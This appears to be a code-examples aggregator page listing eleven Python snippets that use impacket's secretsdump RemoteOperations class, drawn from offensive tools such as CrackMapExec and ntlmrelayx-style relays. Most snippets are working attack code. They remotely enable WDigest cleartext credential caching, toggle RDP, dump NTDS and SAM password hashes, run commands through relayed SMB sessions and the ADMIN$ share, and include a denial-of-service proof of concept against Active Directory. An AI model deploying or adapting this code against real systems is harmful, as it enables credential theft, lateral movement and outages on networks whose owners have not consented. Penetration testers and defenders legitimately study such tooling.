Python impacket.examples.secretsdump.RemoteOperations() Examples

The following are 11 code examples of impacket.examples.secretsdump.RemoteOperations(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module impacket.examples.secretsdump , or try the search function .
Example #1
Source File: wdigest.py    From CrackMapExec with BSD 2-Clause "Simplified" License 6 votes vote down vote up
def wdigest_enable(self, context, smbconnection):
        remoteOps = RemoteOperations(smbconnection, False)
        remoteOps.enableRegistry()

        if remoteOps._RemoteOperations__rrp:
            ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
            regHandle = ans['phKey']

            ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
            keyHandle = ans['phkResult']

            rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00',  rrp.REG_DWORD, 1)

            rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')

            if int(data) == 1:
                context.log.success('UseLogonCredential registry key created successfully')

        try:
            remoteOps.finish()
        except:
            pass 
Example #2
Source File: uac.py    From CrackMapExec with BSD 2-Clause "Simplified" License 6 votes vote down vote up
def on_admin_login(self, context, connection):
        remoteOps = RemoteOperations(connection.conn, False)
        remoteOps.enableRegistry()

        ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
        regHandle = ans['phKey']
        ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System')
        keyHandle = ans['phkResult']
        dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA')

        if uac_value == 1:
            context.log.highlight('UAC Status: 1 (UAC Enabled)')
        elif uac_value == 0:
            context.log.highlight('UAC Status: 0 (UAC Disabled)')

        rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
        remoteOps.finish() 
Example #3
Source File: rdp.py    From CrackMapExec with BSD 2-Clause "Simplified" License 6 votes vote down vote up
def rdp_enable(self, context, smbconnection):
        remoteOps = RemoteOperations(smbconnection, False)
        remoteOps.enableRegistry()

        if remoteOps._RemoteOperations__rrp:
            ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
            regHandle = ans['phKey']

            ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server')
            keyHandle = ans['phkResult']

            rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00',  rrp.REG_DWORD, 0)

            rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00')

            if int(data) == 0:
                context.log.success('RDP enabled successfully')

        try:
            remoteOps.finish()
        except:
            pass 
Example #4
Source File: rdp.py    From CrackMapExec with BSD 2-Clause "Simplified" License 6 votes vote down vote up
def rdp_disable(self, context, smbconnection):
        remoteOps = RemoteOperations(smbconnection, False)
        remoteOps.enableRegistry()

        if remoteOps._RemoteOperations__rrp:
            ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
            regHandle = ans['phKey']

            ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server')
            keyHandle = ans['phkResult']

            rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00',  rrp.REG_DWORD, 1)

            rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00')

            if int(data) == 1:
                context.log.success('RDP disabled successfully')

        try:
            remoteOps.finish()
        except:
            pass 
Example #5
Source File: wdigest.py    From CrackMapExec with BSD 2-Clause "Simplified" License 5 votes vote down vote up
def wdigest_disable(self, context, smbconnection):
        remoteOps = RemoteOperations(smbconnection, False)
        remoteOps.enableRegistry()

        if remoteOps._RemoteOperations__rrp:
            ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
            regHandle = ans['phKey']

            ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
            keyHandle = ans['phkResult']

            try:
                rrp.hBaseRegDeleteValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
            except:
                context.log.success('UseLogonCredential registry key not present')

                try:
                    remoteOps.finish()
                except:
                    pass

                return

            try:
                #Check to make sure the reg key is actually deleted
                rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
            except DCERPCException:
                context.log.success('UseLogonCredential registry key deleted successfully')
                
                try:
                    remoteOps.finish()
                except:
                    pass 
Example #6
Source File: ntds_parser.py    From cracke-dit with MIT License 5 votes vote down vote up
def process_remote(username, password, target, historic):
    hashes = list()

    print("Attempting to connect to {}...".format(target))
    try:
        connection = SMBConnection(target, target)
        connection.login(username, password, "", "", "")

        ops = RemoteOperations(connection, False, None)
        ops.setExecMethod("smbexec")

        stopper = Event()
        spinner = Thread(target=__update, args=(stopper, hashes))
        spinner.start()
        NTDSHashes(None, None, isRemote=True, remoteOps=ops, noLMHash=True, useVSSMethod=False,
                   justNTLM=True, printUserStatus=True, history=historic, lastLogon=True, pwdLastSet=True,
                   perSecretCallback=lambda type, secret: hashes.append(__process_hash(secret))).dump()
        stopper.set()
        spinner.join()

        if len(hashes) == 0:
            raise Exception("Extraction seemingly finished successfully but I didn't find any hashes...")

        return __get_domain(hashes), hashes
    except socket_error:
        raise Exception("Failed to connect to {}".format(target))
    except SessionError as e:
        if e.error == 3221225581:
            raise Exception("Username or password incorrect - please try again.") 
Example #7
Source File: dos_poc.py    From windows_ad_dos_poc with MIT License 5 votes vote down vote up
def run(self):
		while True:
			try:
				self.__smbConnection = SMBConnection(remoteName = self.target, remoteHost = self.target)
				self.__smbConnection.login(self.username, self.password)

				self.__remoteOps  = RemoteOperations(self.__smbConnection, False, None)
				enumerationContext = 0
				status = STATUS_MORE_ENTRIES
				while status == STATUS_MORE_ENTRIES:
					resp = self.__remoteOps.getDomainUsers(enumerationContext)

					for user in resp['Buffer']['Buffer']:
						userName = user['Name']
						#print('userName : %s' % userName)

						userSid = self.__remoteOps.ridToSid(user['RelativeId'])
						crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,
																				 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
																				 name=userSid.formatCanonical())

						if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
							if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
								break
							userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
							# userRecord.dump()
							replyVersion = 'V%d' % userRecord['pdwOutVersion']

					enumerationContext = resp['EnumerationContext']
					status = resp['ErrorCode']
			except Exception as e:
				if str(e).find('STATUS_PIPE_NOT_AVAILABLE') != -1:
					continue
				elif str(e).find('STATUS_PIPE_CLOSING') != -1:
					print('Server is restarting prolly now...')
					return
				raise e 
Example #8
Source File: smb.py    From ActiveReign with GNU General Public License v3.0 5 votes vote down vote up
def enable_remoteops(self):
        try:
            self.remote_ops = RemoteOperations(self.con, False, None)
            self.remote_ops.enableRegistry()
            self.bootkey = self.remote_ops.getBootKey()
        except Exception as e:
            self.logger.fail('RemoteOperations failed for {}: {}'.format(self.host, str(e))) 
Example #9
Source File: smbattack.py    From Exchange2domain with MIT License 4 votes vote down vote up
def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if  self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
                    if self.config.enumLocalAdmins:
                        LOG.info(u"Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                        enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
                        try:
                            localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
                            LOG.info(u"Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                            for name in localAdminNames:
                                LOG.info(u"Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
                        except DCERPCException, e:
                            LOG.info("SAMR access denied")
                        return
                # Something else went wrong. aborting
                LOG.error(str(e))
                return 
Example #10
Source File: smbrelayx.py    From PiBunny with MIT License 4 votes vote down vote up
def run(self):
        # Here PUT YOUR CODE!
        global ATTACKED_HOSTS
        if self.__exeFile is not None:
            result = self.installService.install()
            if result is True:
                logging.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
            else:
                ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                flags2 |= SMB.FLAGS2_LONG_NAMES
                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                # Something wen't wrong, most probably we don't have access as admin. aborting
                logging.error(str(e))
                ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
                return

            try:
                if self.__command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.__command)
                    logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    logging.debug('Raw answer %r' % self.__answerTMP)

                    try:
                        print self.__answerTMP.decode(CODEC)
                    except UnicodeDecodeError, e:
                        logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
                                      'https://docs.python.org/2.4/lib/standard-encodings.html\nand then execute wmiexec.py '
                                  'again with -codec and the corresponding codec')
                        print self.__answerTMP

                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                else: 
Example #11
Source File: ntlmrelayx.py    From PiBunny with MIT License 4 votes vote down vote up
def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            logging.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                logging.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                # Something wen't wrong, most probably we don't have access as admin. aborting
                logging.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.config.command)
                    logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print self.__answerTMP.decode(self.config.encoding, 'replace')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
                    logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                logging.error(str(e))